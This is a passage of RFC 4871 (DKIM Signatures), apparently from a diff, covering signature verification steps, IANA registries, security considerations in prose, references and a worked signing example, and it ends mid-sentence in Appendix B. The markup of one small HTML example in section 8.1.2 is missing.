header field, the verifier + MUST ignore the DKIM-Signature header field and return PERMFAIL (From + field not signed). + + Verifiers MAY ignore the DKIM-Signature header field and return + PERMFAIL (signature expired) if it contains an "x=" tag and the + signature has expired. + + Verifiers MAY ignore the DKIM-Signature header field if the domain + used by the signer in the "d=" tag is not associated with a valid + signing entity. For example, signatures with "d=" values such as + "com" and "co.uk" may be ignored. The list of unacceptable domains + SHOULD be configurable. + + Verifiers MAY ignore the DKIM-Signature header field and return + PERMFAIL (unacceptable signature header) for any other reason, for + example, if the signature does not sign header fields that the + verifier views to be essential. As a case in point, if MIME header + fields are not signed, certain attacks may be possible that the + verifier would prefer to avoid. + +6.1.2. Get the Public Key + + The public key for a signature is needed to complete the verification + process. The process of retrieving the public key depends on the + query type as defined by the "q=" tag in the DKIM-Signature header + field. Obviously, a public key need only be retrieved if the process + of extracting the signature information is completely successful. + Details of key management and representation are described in + Section 3.6. The verifier MUST validate the key record and MUST + ignore any public key records that are malformed. + + When validating a message, a verifier MUST perform the following + steps in a manner that is semantically the same as performing them in + + + +Allman, et al. Standards Track [Page 43] + +RFC 4871 DKIM Signatures May 2007 + + + the order indicated (in some cases, the implementation may + parallelize or reorder these steps, as long as the semantics remain + unchanged): + + 1. Retrieve the public key as described in Section 3.6 using the + algorithm in the "q=" tag, the domain from the "d=" tag, and the + selector from the "s=" tag. + + 2. If the query for the public key fails to respond, the verifier + MAY defer acceptance of this email and return TEMPFAIL (key + unavailable). If verification is occurring during the incoming + SMTP session, this MAY be achieved with a 451/4.7.5 SMTP reply + code. Alternatively, the verifier MAY store the message in the + local queue for later trial or ignore the signature. Note that + storing a message in the local queue is subject to denial-of- + service attacks. + + 3. If the query for the public key fails because the corresponding + key record does not exist, the verifier MUST immediately return + PERMFAIL (no key for signature). + + 4. If the query for the public key returns multiple key records, the + verifier may choose one of the key records or may cycle through + the key records performing the remainder of these steps on each + record at the discretion of the implementer. The order of the + key records is unspecified. If the verifier chooses to cycle + through the key records, then the "return ..." wording in the + remainder of this section means "try the next key record, if any; + if none, return to try another signature in the usual way". + + 5. If the result returned from the query does not adhere to the + format defined in this specification, the verifier MUST ignore + the key record and return PERMFAIL (key syntax error). Verifiers + are urged to validate the syntax of key records carefully to + avoid attempted attacks. In particular, the verifier MUST ignore + keys with a version code ("v=" tag) that they do not implement. + + 6. If the "g=" tag in the public key does not match the Local-part + of the "i=" tag in the message signature header field, the + verifier MUST ignore the key record and return PERMFAIL + (inapplicable key). If the Local-part of the "i=" tag on the + message signature is not present, the "g=" tag must be "*" (valid + for all addresses in the domain) or the entire g= tag must be + omitted (which defaults to "g=*"), otherwise the verifier MUST + ignore the key record and return PERMFAIL (inapplicable key). + Other than this test, verifiers SHOULD NOT treat a message signed + with a key record having a "g=" tag any differently than one + without; in particular, verifiers SHOULD NOT prefer messages that + + + +Allman, et al. Standards Track [Page 44] + +RFC 4871 DKIM Signatures May 2007 + + + seem to have an individual signature by virtue of a "g=" tag + versus a domain signature. + + 7. If the "h=" tag exists in the public key record and the hash + algorithm implied by the a= tag in the DKIM-Signature header + field is not included in the contents of the "h=" tag, the + verifier MUST ignore the key record and return PERMFAIL + (inappropriate hash algorithm). + + 8. If the public key data (the "p=" tag) is empty, then this key has + been revoked and the verifier MUST treat this as a failed + signature check and return PERMFAIL (key revoked). There is no + defined semantic difference between a key that has been revoked + and a key record that has been removed. + + 9. If the public key data is not suitable for use with the algorithm + and key types defined by the "a=" and "k=" tags in the DKIM- + Signature header field, the verifier MUST immediately return + PERMFAIL (inappropriate key algorithm). + +6.1.3. Compute the Verification + + Given a signer and a public key, verifying a signature consists of + actions semantically equivalent to the following steps. + + 1. Based on the algorithm defined in the "c=" tag, the body length + specified in the "l=" tag, and the header field names in the "h=" + tag, prepare a canonicalized version of the message as is + described in Section 3.7 (note that this version does not + actually need to be instantiated). When matching header field + names in the "h=" tag against the actual message header field, + comparisons MUST be case-insensitive. + + 2. Based on the algorithm indicated in the "a=" tag, compute the + message hashes from the canonical copy as described in + Section 3.7. + + 3. Verify that the hash of the canonicalized message body computed + in the previous step matches the hash value conveyed in the "bh=" + tag. If the hash does not match, the verifier SHOULD ignore the + signature and return PERMFAIL (body hash did not verify). + + 4. Using the signature conveyed in the "b=" tag, verify the + signature against the header hash using the mechanism appropriate + for the public key algorithm described in the "a=" tag. If the + signature does not validate, the verifier SHOULD ignore the + signature and return PERMFAIL (signature did not verify). + + + + +Allman, et al. Standards Track [Page 45] + +RFC 4871 DKIM Signatures May 2007 + + + 5. Otherwise, the signature has correctly verified. + + INFORMATIVE IMPLEMENTER'S NOTE: Implementations might wish to + initiate the public-key query in parallel with calculating the + hash as the public key is not needed until the final decryption is + calculated. Implementations may also verify the signature on the + message header before validating that the message hash listed in + the "bh=" tag in the DKIM-Signature header field matches that of + the actual message body; however, if the body hash does not match, + the entire signature must be considered to have failed. + + A body length specified in the "l=" tag of the signature limits the + number of bytes of the body passed to the verification algorithm. + All data beyond that limit is not validated by DKIM. Hence, + verifiers might treat a message that contains bytes beyond the + indicated body length with suspicion, such as by truncating the + message at the indicated body length, declaring the signature invalid + (e.g., by returning PERMFAIL (unsigned content)), or conveying the + partial verification to the policy module. + + INFORMATIVE IMPLEMENTATION NOTE: Verifiers that truncate the body + at the indicated body length might pass on a malformed MIME + message if the signer used the "N-4" trick (omitting the final + "--CRLF") described in the informative note in Section 3.4.5. + Such verifiers may wish to check for this case and include a + trailing "--CRLF" to avoid breaking the MIME structure. A simple + way to achieve this might be to append "--CRLF" to any "multipart" + message with a body length; if the MIME structure is already + correctly formed, this will appear in the postlude and will not be + displayed to the end user. + +6.2. Communicate Verification Results + + Verifiers wishing to communicate the results of verification to other + parts of the mail system may do so in whatever manner they see fit. + For example, implementations might choose to add an email header + field to the message before passing it on. Any such header field + SHOULD be inserted before any existing DKIM-Signature or preexisting + authentication status header fields in the header field block. + + INFORMATIVE ADVICE to MUA filter writers: Patterns intended to + search for results header fields to visibly mark authenticated + mail for end users should verify that such header field was added + by the appropriate verifying domain and that the verified identity + matches the author identity that will be displayed by the MUA. In + particular, MUA filters should not be influenced by bogus results + + + + + +Allman, et al. Standards Track [Page 46] + +RFC 4871 DKIM Signatures May 2007 + + + header fields added by attackers. To circumvent this attack, + verifiers may wish to delete existing results header fields after + verification and before adding a new header field. + +6.3. Interpret Results/Apply Local Policy + + It is beyond the scope of this specification to describe what actions + a verifier system should make, but an authenticated email presents an + opportunity to a receiving system that unauthenticated email cannot. + Specifically, an authenticated email creates a predictable identifier + by which other decisions can reliably be managed, such as trust and + reputation. Conversely, unauthenticated email lacks a reliable + identifier that can be used to assign trust and reputation. It is + reasonable to treat unauthenticated email as lacking any trust and + having no positive reputation. + + In general, verifiers SHOULD NOT reject messages solely on the basis + of a lack of signature or an unverifiable signature; such rejection + would cause severe interoperability problems. However, if the + verifier does opt to reject such messages (for example, when + communicating with a peer who, by prior agreement, agrees to only + send signed messages), and the verifier runs synchronously with the + SMTP session and a signature is missing or does not verify, the MTA + SHOULD use a 550/5.7.x reply code. + + If it is not possible to fetch the public key, perhaps because the + key server is not available, a temporary failure message MAY be + generated using a 451/4.7.5 reply code, such as: + + 451 4.7.5 Unable to verify signature - key server unavailable + + Temporary failures such as inability to access the key server or + other external service are the only conditions that SHOULD use a 4xx + SMTP reply code. In particular, cryptographic signature verification + failures MUST NOT return 4xx SMTP replies. + + Once the signature has been verified, that information MUST be + conveyed to higher-level systems (such as explicit allow/whitelists + and reputation systems) and/or to the end user. If the message is + signed on behalf of any address other than that in the From: header + field, the mail system SHOULD take pains to ensure that the actual + signing identity is clear to the reader. + + The verifier MAY treat unsigned header fields with extreme + skepticism, including marking them as untrusted or even deleting them + before display to the end user. + + + + + +Allman, et al. Standards Track [Page 47] + +RFC 4871 DKIM Signatures May 2007 + + + While the symptoms of a failed verification are obvious -- the + signature doesn't verify -- establishing the exact cause can be more + difficult. If a selector cannot be found, is that because the + selector has been removed, or was the value changed somehow in + transit? If the signature line is missing, is that because it was + never there, or was it removed by an overzealous filter? For + diagnostic purposes, the exact reason why the verification fails + SHOULD be made available to the policy module and possibly recorded + in the system logs. If the email cannot be verified, then it SHOULD + be rendered the same as all unverified email regardless of whether or + not it looks like it was signed. + +7. IANA Considerations + + DKIM introduces some new namespaces that have been registered with + IANA. In all cases, new values are assigned only for values that + have been documented in a published RFC that has IETF Consensus + [RFC2434]. + +7.1. DKIM-Signature Tag Specifications + + A DKIM-Signature provides for a list of tag specifications. IANA has + established the DKIM-Signature Tag Specification Registry for tag + specifications that can be used in DKIM-Signature fields. + + The initial entries in the registry comprise: + + +------+-----------------+ + | TYPE | REFERENCE | + +------+-----------------+ + | v | (this document) | + | a | (this document) | + | b | (this document) | + | bh | (this document) | + | c | (this document) | + | d | (this document) | + | h | (this document) | + | i | (this document) | + | l | (this document) | + | q | (this document) | + | s | (this document) | + | t | (this document) | + | x | (this document) | + | z | (this document) | + +------+-----------------+ + + DKIM-Signature Tag Specification Registry Initial Values + + + + +Allman, et al. Standards Track [Page 48] + +RFC 4871 DKIM Signatures May 2007 + + +7.2. DKIM-Signature Query Method Registry + + The "q=" tag-spec (specified in Section 3.5) provides for a list of + query methods. + + IANA has established the DKIM-Signature Query Method Registry for + mechanisms that can be used to retrieve the key that will permit + validation processing of a message signed using DKIM. + + The initial entry in the registry comprises: + + +------+--------+-----------------+ + | TYPE | OPTION | REFERENCE | + +------+--------+-----------------+ + | dns | txt | (this document) | + +------+--------+-----------------+ + + DKIM-Signature Query Method Registry Initial Values + +7.3. DKIM-Signature Canonicalization Registry + + The "c=" tag-spec (specified in Section 3.5) provides for a specifier + for canonicalization algorithms for the header and body of the + message. + + IANA has established the DKIM-Signature Canonicalization Algorithm + Registry for algorithms for converting a message into a canonical + form before signing or verifying using DKIM. + + The initial entries in the header registry comprise: + + +---------+-----------------+ + | TYPE | REFERENCE | + +---------+-----------------+ + | simple | (this document) | + | relaxed | (this document) | + +---------+-----------------+ + + DKIM-Signature Header Canonicalization Algorithm Registry + Initial Values + + + + + + + + + + + +Allman, et al. Standards Track [Page 49] + +RFC 4871 DKIM Signatures May 2007 + + + The initial entries in the body registry comprise: + + +---------+-----------------+ + | TYPE | REFERENCE | + +---------+-----------------+ + | simple | (this document) | + | relaxed | (this document) | + +---------+-----------------+ + + DKIM-Signature Body Canonicalization Algorithm Registry + Initial Values + +7.4. _domainkey DNS TXT Record Tag Specifications + + A _domainkey DNS TXT record provides for a list of tag + specifications. IANA has established the DKIM _domainkey DNS TXT Tag + Specification Registry for tag specifications that can be used in DNS + TXT Records. + + The initial entries in the registry comprise: + + +------+-----------------+ + | TYPE | REFERENCE | + +------+-----------------+ + | v | (this document) | + | g | (this document) | + | h | (this document) | + | k | (this document) | + | n | (this document) | + | p | (this document) | + | s | (this document) | + | t | (this document) | + +------+-----------------+ + + DKIM _domainkey DNS TXT Record Tag Specification Registry + Initial Values + +7.5. DKIM Key Type Registry + + The "k=" (specified in Section 3.6.1) and the "a=" (specified in Section 3.5) tags provide for a list of + mechanisms that can be used to decode a DKIM signature. + + IANA has established the DKIM Key Type Registry for such mechanisms. + + + + + + + +Allman, et al. Standards Track [Page 50] + +RFC 4871 DKIM Signatures May 2007 + + + The initial entry in the registry comprises: + + +------+-----------+ + | TYPE | REFERENCE | + +------+-----------+ + | rsa | [RFC3447] | + +------+-----------+ + + DKIM Key Type Initial Values + +7.6. DKIM Hash Algorithms Registry + + The "h=" (specified in Section 3.6.1) and the "a=" (specified in Section 3.5) tags provide for a list of + mechanisms that can be used to produce a digest of message data. + + IANA has established the DKIM Hash Algorithms Registry for such + mechanisms. + + The initial entries in the registry comprise: + + +--------+-------------------+ + | TYPE | REFERENCE | + +--------+-------------------+ + | sha1 | [FIPS.180-2.2002] | + | sha256 | [FIPS.180-2.2002] | + +--------+-------------------+ + + DKIM Hash Algorithms Initial Values + +7.7. DKIM Service Types Registry + + The "s=" tag (specified in Section 3.6.1) provides for a + list of service types to which this selector may apply. + + IANA has established the DKIM Service Types Registry for service + types. + + The initial entries in the registry comprise: + + +-------+-----------------+ + | TYPE | REFERENCE | + +-------+-----------------+ + | email | (this document) | + | * | (this document) | + +-------+-----------------+ + + DKIM Service Types Registry Initial Values + + + +Allman, et al. Standards Track [Page 51] + +RFC 4871 DKIM Signatures May 2007 + + +7.8. DKIM Selector Flags Registry + + The "t=" tag (specified in Section 3.6.1) provides for a + list of flags to modify interpretation of the selector. + + IANA has established the DKIM Selector Flags Registry for additional + flags. + + The initial entries in the registry comprise: + + +------+-----------------+ + | TYPE | REFERENCE | + +------+-----------------+ + | y | (this document) | + | s | (this document) | + +------+-----------------+ + + DKIM Selector Flags Registry Initial Values + +7.9. DKIM-Signature Header Field + + IANA has added DKIM-Signature to the "Permanent Message Header + Fields" registry (see [RFC3864]) for the "mail" protocol, using this + document as the reference. + +8. Security Considerations + + It has been observed that any mechanism that is introduced that + attempts to stem the flow of spam is subject to intensive attack. + DKIM needs to be carefully scrutinized to identify potential attack + vectors and the vulnerability to each. See also [RFC4686]. + +8.1. Misuse of Body Length Limits ("l=" Tag) + + Body length limits (in the form of the "l=" tag) are subject to + several potential attacks. + +8.1.1. Addition of New MIME Parts to Multipart/* + + If the body length limit does not cover a closing MIME multipart + section (including the trailing "--CRLF" portion), then it is + possible for an attacker to intercept a properly signed multipart + message and add a new body part. Depending on the details of the + MIME type and the implementation of the verifying MTA and the + receiving MUA, this could allow an attacker to change the information + displayed to an end user from an apparently trusted source. + + + + + +Allman, et al. Standards Track [Page 52] + +RFC 4871 DKIM Signatures May 2007 + + + For example, if attackers can append information to a "text/html" + body part, they may be able to exploit a bug in some MUAs that + continue to read after a "" marker, and thus display HTML text + on top of already displayed text. If a message has a + "multipart/alternative" body part, they might be able to add a new + body part that is preferred by the displaying MUA. + +8.1.2. Addition of new HTML content to existing content + + Several receiving MUA implementations do not cease display after a + """" tag. In particular, this allows attacks involving + overlaying images on top of existing text. + + INFORMATIVE EXAMPLE: Appending the following text to an existing, + properly closed message will in many MUAs result in inappropriate + data being rendered on top of existing, correct data: +
            + +
            + +8.2. Misappropriated Private Key + + If the private key for a user is resident on their computer and is + not protected by an appropriately secure mechanism, it is possible + for malware to send mail as that user and any other user sharing the + same private key. The malware would not, however, be able to + generate signed spoofs of other signers' addresses, which would aid + in identification of the infected user and would limit the + possibilities for certain types of attacks involving socially + engineered messages. This threat applies mainly to MUA-based + implementations; protection of private keys on servers can be easily + achieved through the use of specialized cryptographic hardware. + + A larger problem occurs if malware on many users' computers obtains + the private keys for those users and transmits them via a covert + channel to a site where they can be shared. The compromised users + would likely not know of the misappropriation until they receive + "bounce" messages from messages they are purported to have sent. + Many users might not understand the significance of these bounce + messages and would not take action. + + One countermeasure is to use a user-entered passphrase to encrypt the + private key, although users tend to choose weak passphrases and often + reuse them for different purposes, possibly allowing an attack + against DKIM to be extended into other domains. Nevertheless, the + decoded private key might be briefly available to compromise by + malware when it is entered, or might be discovered via keystroke + + + +Allman, et al. Standards Track [Page 53] + +RFC 4871 DKIM Signatures May 2007 + + + logging. The added complexity of entering a passphrase each time one + sends a message would also tend to discourage the use of a secure + passphrase. + + A somewhat more effective countermeasure is to send messages through + an outgoing MTA that can authenticate the submitter using existing + techniques (e.g., SMTP Authentication), possibly validate the message + itself (e.g., verify that the header is legitimate and that the + content passes a spam content check), and sign the message using a + key appropriate for the submitter address. Such an MTA can also + apply controls on the volume of outgoing mail each user is permitted + to originate in order to further limit the ability of malware to + generate bulk email. + +8.3. Key Server Denial-of-Service Attacks + + Since the key servers are distributed (potentially separate for each + domain), the number of servers that would need to be attacked to + defeat this mechanism on an Internet-wide basis is very large. + Nevertheless, key servers for individual domains could be attacked, + impeding the verification of messages from that domain. This is not + significantly different from the ability of an attacker to deny + service to the mail exchangers for a given domain, although it + affects outgoing, not incoming, mail. + + A variation on this attack is that if a very large amount of mail + were to be sent using spoofed addresses from a given domain, the key + servers for that domain could be overwhelmed with requests. However, + given the low overhead of verification compared with handling of the + email message itself, such an attack would be difficult to mount. + +8.4. Attacks Against the DNS + + Since the DNS is a required binding for key services, specific + attacks against the DNS must be considered. + + While the DNS is currently insecure [RFC3833], these security + problems are the motivation behind DNS Security (DNSSEC) [RFC4033], + and all users of the DNS will reap the benefit of that work. + + DKIM is only intended as a "sufficient" method of proving + authenticity. It is not intended to provide strong cryptographic + proof about authorship or contents. Other technologies such as + OpenPGP [RFC2440] and S/MIME [RFC3851] address those requirements. + + A second security issue related to the DNS revolves around the + increased DNS traffic as a consequence of fetching selector-based + data as well as fetching signing domain policy. Widespread + + + +Allman, et al. Standards Track [Page 54] + +RFC 4871 DKIM Signatures May 2007 + + + deployment of DKIM will result in a significant increase in DNS + queries to the claimed signing domain. In the case of forgeries on a + large scale, DNS servers could see a substantial increase in queries. + + A specific DNS security issue that should be considered by DKIM + verifiers is the name chaining attack described in Section 2.3 of the + DNS Threat Analysis [RFC3833]. A DKIM verifier, while verifying a + DKIM-Signature header field, could be prompted to retrieve a key + record of an attacker's choosing. This threat can be minimized by + ensuring that name servers, including recursive name servers, used by + the verifier enforce strict checking of "glue" and other additional + information in DNS responses and are therefore not vulnerable to this + attack. + +8.5. Replay Attacks + + In this attack, a spammer sends a message to be spammed to an + accomplice, which results in the message being signed by the + originating MTA. The accomplice resends the message, including the + original signature, to a large number of recipients, possibly by + sending the message to many compromised machines that act as MTAs. + The messages, not having been modified by the accomplice, have valid + signatures. + + Partial solutions to this problem involve the use of reputation + services to convey the fact that the specific email address is being + used for spam and that messages from that signer are likely to be + spam. This requires a real-time detection mechanism in order to + react quickly enough. However, such measures might be prone to + abuse, if for example an attacker resent a large number of messages + received from a victim in order to make them appear to be a spammer. + + Large verifiers might be able to detect unusually large volumes of + mails with the same signature in a short time period. Smaller + verifiers can get substantially the same volume of information via + existing collaborative systems. + +8.6. Limits on Revoking Keys + + When a large domain detects undesirable behavior on the part of one + of its users, it might wish to revoke the key used to sign that + user's messages in order to disavow responsibility for messages that + have not yet been verified or that are the subject of a replay + attack. However, the ability of the domain to do so can be limited + if the same key, for scalability reasons, is used to sign messages + for many other users. Mechanisms for explicitly revoking keys on a + per-address basis have been proposed but require further study as to + their utility and the DNS load they represent. + + + +Allman, et al. Standards Track [Page 55] + +RFC 4871 DKIM Signatures May 2007 + + +8.7. Intentionally Malformed Key Records + + It is possible for an attacker to publish key records in DNS that are + intentionally malformed, with the intent of causing a denial-of- + service attack on a non-robust verifier implementation. The attacker + could then cause a verifier to read the malformed key record by + sending a message to one of its users referencing the malformed + record in a (not necessarily valid) signature. Verifiers MUST + thoroughly verify all key records retrieved from the DNS and be + robust against intentionally as well as unintentionally malformed key + records. + +8.8. Intentionally Malformed DKIM-Signature Header Fields + + Verifiers MUST be prepared to receive messages with malformed DKIM- + Signature header fields, and thoroughly verify the header field + before depending on any of its contents. + +8.9. Information Leakage + + An attacker could determine when a particular signature was verified + by using a per-message selector and then monitoring their DNS traffic + for the key lookup. This would act as the equivalent of a "web bug" + for verification time rather than when the message was read. + +8.10. Remote Timing Attacks + + In some cases, it may be possible to extract private keys using a + remote timing attack [BONEH03]. Implementations should consider + obfuscating the timing to prevent such attacks. + +8.11. Reordered Header Fields + + Existing standards allow intermediate MTAs to reorder header fields. + If a signer signs two or more header fields of the same name, this + can cause spurious verification errors on otherwise legitimate + messages. In particular, signers that sign any existing DKIM- + Signature fields run the risk of having messages incorrectly fail to + verify. + +8.12. RSA Attacks + + An attacker could create a large RSA signing key with a small + exponent, thus requiring that the verification key have a large + exponent. This will force verifiers to use considerable computing + resources to verify the signature. Verifiers might avoid this attack + by refusing to verify signatures that reference selectors with public + keys having unreasonable exponents. + + + +Allman, et al. Standards Track [Page 56] + +RFC 4871 DKIM Signatures May 2007 + + + In general, an attacker might try to overwhelm a verifier by flooding + it with messages requiring verification. This is similar to other + MTA denial-of-service attacks and should be dealt with in a similar + fashion. + +8.13. Inappropriate Signing by Parent Domains + + The trust relationship described in Section 3.8 could conceivably be + used by a parent domain to sign messages with identities in a + subdomain not administratively related to the parent. For example, + the ".com" registry could create messages with signatures using an + "i=" value in the example.com domain. There is no general solution + to this problem, since the administrative cut could occur anywhere in + the domain name. For example, in the domain "example.podunk.ca.us" + there are three administrative cuts (podunk.ca.us, ca.us, and us), + any of which could create messages with an identity in the full + domain. + + INFORMATIVE NOTE: This is considered an acceptable risk for the + same reason that it is acceptable for domain delegation. For + example, in the example above any of the domains could potentially + simply delegate "example.podunk.ca.us" to a server of their choice + and completely replace all DNS-served information. Note that a + verifier MAY ignore signatures that come from an unlikely domain + such as ".com", as discussed in Section 6.1.1. + +9. References + +9.1. Normative References + + [FIPS.180-2.2002] U.S. Department of Commerce, "Secure Hash + Standard", FIPS PUB 180-2, August 2002. + + [ITU.X660.1997] "Information Technology - ASN.1 encoding rules: + Specification of Basic Encoding Rules (BER), + Canonical Encoding Rules (CER) and Distinguished + Encoding Rules (DER)", ITU-T Recommendation X.660, + 1997. + + [RFC2045] Freed, N. and N. Borenstein, "Multipurpose + Internet Mail Extensions (MIME) Part One: Format + of Internet Message Bodies", RFC 2045, + November 1996. + + [RFC2047] Moore, K., "MIME (Multipurpose Internet Mail + Extensions) Part Three: Message header field + Extensions for Non-ASCII Text", RFC 2047, + November 1996. + + + +Allman, et al. Standards Track [Page 57] + +RFC 4871 DKIM Signatures May 2007 + + + [RFC2119] Bradner, S., "Key words for use in RFCs to + Indicate Requirement Levels", BCP 14, RFC 2119, + March 1997. + + [RFC2821] Klensin, J., "Simple Mail Transfer Protocol", + RFC 2821, April 2001. + + [RFC2822] Resnick, P., "Internet Message Format", RFC 2822, + April 2001. + + [RFC3447] Jonsson, J. and B. Kaliski, "Public-Key + Cryptography Standards (PKCS) #1: RSA Cryptography + Specifications Version 2.1", RFC 3447, + February 2003. + + [RFC3490] Faltstrom, P., Hoffman, P., and A. Costello, + "Internationalizing Domain Names in Applications + (IDNA)", RFC 3490, March 2003. + + [RFC4234] Crocker, D., Ed. and P. Overell, "Augmented BNF + for Syntax Specifications: ABNF", RFC 4234, + October 2005. + +9.2. Informative References + + [BONEH03] Proc. 12th USENIX Security Symposium, "Remote + Timing Attacks are Practical", 2003. + + [RFC1847] Galvin, J., Murphy, S., Crocker, S., and N. Freed, + "Security Multiparts for MIME: Multipart/Signed + and Multipart/Encrypted", RFC 1847, October 1995. + + [RFC2434] Narten, T. and H. Alvestrand, "Guidelines for + Writing an IANA Considerations Section in RFCs", + BCP 26, RFC 2434, October 1998. + + [RFC2440] Callas, J., Donnerhacke, L., Finney, H., and R. + Thayer, "OpenPGP Message Format", RFC 2440, + November 1998. + + [RFC3766] Orman, H. and P. Hoffman, "Determining Strengths + for Public Keys Used For Exchanging Symmetric + Keys", RFC 3766, April 2004. + + [RFC3833] Atkins, D. and R. Austein, "Threat Analysis of the + Domain Name System (DNS)", RFC 3833, August 2004. + + + + + +Allman, et al. Standards Track [Page 58] + +RFC 4871 DKIM Signatures May 2007 + + + [RFC3851] Ramsdell, B., "S/MIME Version 3 Message + Specification", RFC 3851, June 1999. + + [RFC3864] Klyne, G., Nottingham, M., and J. Mogul, + "Registration Procedures for Message Header + Fields", BCP 90, September 2004. + + [RFC4033] Arends, R., Austein, R., Larson, M., Massey, D., + and S. Rose, "DNS Security Introduction and + Requirements", RFC 4033, March 2005. + + [RFC4686] Fenton, J., "Analysis of Threats Motivating + DomainKeys Identified Mail (DKIM)", RFC 4686, + September 2006. + + [RFC4870] Delany, M., "Domain-Based Email Authentication + Using Public Keys Advertised in the DNS + (DomainKeys)", RFC 4870, May 2007. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Allman, et al. Standards Track [Page 59] + +RFC 4871 DKIM Signatures May 2007 + + +Appendix A. Example of Use (INFORMATIVE) + + This section shows the complete flow of an email from submission to + final delivery, demonstrating how the various components fit + together. The key used in this example is shown in Appendix C. + +A.1. The User Composes an Email + + + From: Joe SixPack + To: Suzie Q + Subject: Is dinner ready? + Date: Fri, 11 Jul 2003 21:00:37 -0700 (PDT) + Message-ID: <20030712040037.46341.5F8J@football.example.com> + + Hi. + + We lost the game. Are you hungry yet? + + Joe. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Allman, et al. Standards Track [Page 60] + +RFC 4871 DKIM Signatures May 2007 + + +A.2. The Email Is Signed + + This email is signed by the example.com outbound email server and now + looks like this: + + DKIM-Signature: v=1; a=rsa-sha256; s=brisbane; d=example.com; + c=simple/simple; q=dns/txt; i=joe@football.example.com; + h=Received : From : To : Subject : Date : Message-ID; + bh=2jUSOH9NhtVGCQWNr9BrIAPreKQjO6Sn7XIkfJVOzv8=; + b=AuUoFEfDxTDkHlLXSZEpZj79LICEps6eda7W3deTVFOk4yAUoqOB + 4nujc7YopdG5dWLSdNg6xNAZpOPr+kHxt1IrE+NahM6L/LbvaHut + KVdkLLkpVaVVQPzeRDI009SO2Il5Lu7rDNH6mZckBdrIx0orEtZV + 4bmp/YzhwvcubU4=; + Received: from client1.football.example.com [192.0.2.1] + by submitserver.example.com with SUBMISSION; + Fri, 11 Jul 2003 21:01:54 -0700 (PDT) + From: Joe SixPack + To: Suzie Q + Subject: Is dinner ready? + Date: Fri, 11 Jul 2003 21:00:37 -0700 (PDT) + Message-ID: <20030712040037.46341.5F8J@football.example.com> + + Hi. + + We lost the game. Are you hungry yet? + + Joe. + + The signing email server requires access to the private key + associated with the "brisbane" selector to generate this signature. + +A.3. The Email Signature Is Verified + + The signature is normally verified by an inbound SMTP server or + possibly the final delivery agent. However, intervening MTAs can + also perform this verification if they choose to do so. The + verification process uses the domain "example.com" extracted from the + "d=" tag and the selector "brisbane" from the "s=" tag in the DKIM- + Signature header field to form the DNS DKIM query for: + + brisbane._domainkey.example.com + + Signature verification starts with the physically last Received + header field, the From header field, and so forth, in the order + listed in the "h=" tag. Verification follows with a single CRLF + followed by the body (starting with "Hi."). The email is canonically + prepared for verifying with the "simple" method. The result of the + query and subsequent verification of the signature is stored (in this + + + +Allman, et al. Standards Track [Page 61] + +RFC 4871 DKIM Signatures May 2007 + + + example) in the X-Authentication-Results header field line. After + successful verification, the email looks like this: + + X-Authentication-Results: shopping.example.net + header.from=joe@football.example.com; dkim=pass + Received: from mout23.football.example.com (192.168.1.1) + by shopping.example.net with SMTP; + Fri, 11 Jul 2003 21:01:59 -0700 (PDT) + DKIM-Signature: v=1; a=rsa-sha256; s=brisbane; d=example.com; + c=simple/simple; q=dns/txt; i=joe@football.example.com; + h=Received : From : To : Subject : Date : Message-ID; + bh=2jUSOH9NhtVGCQWNr9BrIAPreKQjO6Sn7XIkfJVOzv8=; + b=AuUoFEfDxTDkHlLXSZEpZj79LICEps6eda7W3deTVFOk4yAUoqOB + 4nujc7YopdG5dWLSdNg6xNAZpOPr+kHxt1IrE+NahM6L/LbvaHut + KVdkLLkpVaVVQPzeRDI009SO2Il5Lu7rDNH6mZckBdrIx0orEtZV + 4bmp/YzhwvcubU4=; + Received: from client1.football.example.com [192.0.2.1] + by submitserver.example.com with SUBMISSION; + Fri, 11 Jul 2003 21:01:54 -0700 (PDT) + From: Joe SixPack + To: Suzie Q + Subject: Is dinner ready? + Date: Fri, 11 Jul 2003 21:00:37 -0700 (PDT) + Message-ID: <20030712040037.46341.5F8J@football.example.com> + + Hi. + + We lost the game. Are you hungry yet? + + Joe. + +Appendix B. Usage Examples (INFORMATIVE) + + DKIM signing and validating can be used in different ways, for + different operational scenarios. This Appendix discusses some common + examples. + + NOTE: Descriptions in this Appendix are for informational purposes + only. They describe various ways that DKIM can be used, given + particular constraints and needs. In no case are these examples + intended to be taken as providing explanation or guidance + concerning DKIM specification details, when creating an + implementation. + + + + + + + + +Allman, et al. Standards Track [Page 62] + +RFC 4871 DKIM Signatures May 2007 + + +B.1. Alternate Submission Scenarios + + In the most simple scenario, a user's MUA, MSA, and Internet + (boundary) MTA are all within the same administrative environment, + using the same domain name. Therefore, all of the components + involved in submission and initial transfer are related. However, it + is common for two or more of the components to be under independent + administrative control. This creates challenges for choosing and + administering the domain name to use for signing, and for its + relationship to common email identity header fields. + +B.1.1. Delegated Business Functions + + Some organizations assign specific business functions to discrete + groups, inside or outside the organization. The goal, then, is to + authorize that group to sign some mail, but to constrain what + signatures they can generate. DKIM selectors (the "s=" signature + tag) and granularity (the "g=" key tag) facilitate this kind of + restricted authorization. Examples of these outsourced business + functions are legitimate email marketing providers and corporate + benefits providers. + + Here, the delegated group needs to be able to send messages that are + signed, using the email domain of the client company. At the same + time, the client often is reluctant to register a key for the + provider that grants the ability to send messages for arbitrary + addresses in the domain. + + There are multiple ways to administer these usage scenarios. In one + case, the client organization provides all of the public query + service (for example, DNS) administration, and in another it uses DNS + delegation to enable all ongoing administration of the DKIM key + record by the delegated group. + + If the client organization retains responsibility for all of the DNS + administration, the outsourcing company can generate a key pair, + supplying the public key to the client company, which then registers + it in the query service, using a unique selector that authorizes a + specific From header field Local-part. For example, a client with + the domain "example.com" could have the selector record specify + "g=winter-promotions" so that this signature is only valid for mail + with a From address of "winter-promotions@example.com". This would + enable the provider to send messages using that specific address and + have them verify properly. The client company retains control over + the email address because it retains the ability to revoke the key at + any time. + + + + + +Allman, et al. Standards Track [Page 63] + +RFC 4871 DKIM Signatures May 2007 + + + If the client wants the delegated group to do the DNS administration, + it can have the domain name that is specified with the selector point + to the provider's DNS server. The provider then creates and + maintains all of the DKIM signature information for that selector. + Hence, the client cannot provide constraints on the Local-part of + addresses that get signed, but it can revoke the provider's signing + rights by removing the DNS delegation record. + +B.1.2. PDAs and Similar Devices + + PDAs demonstrate the need for using multiple keys per domain. + Suppose that John Doe wanted to be able to send messages using his + corporate email address, jdoe@example.com, and his email device did + not have the ability to make a Virtual Private Network 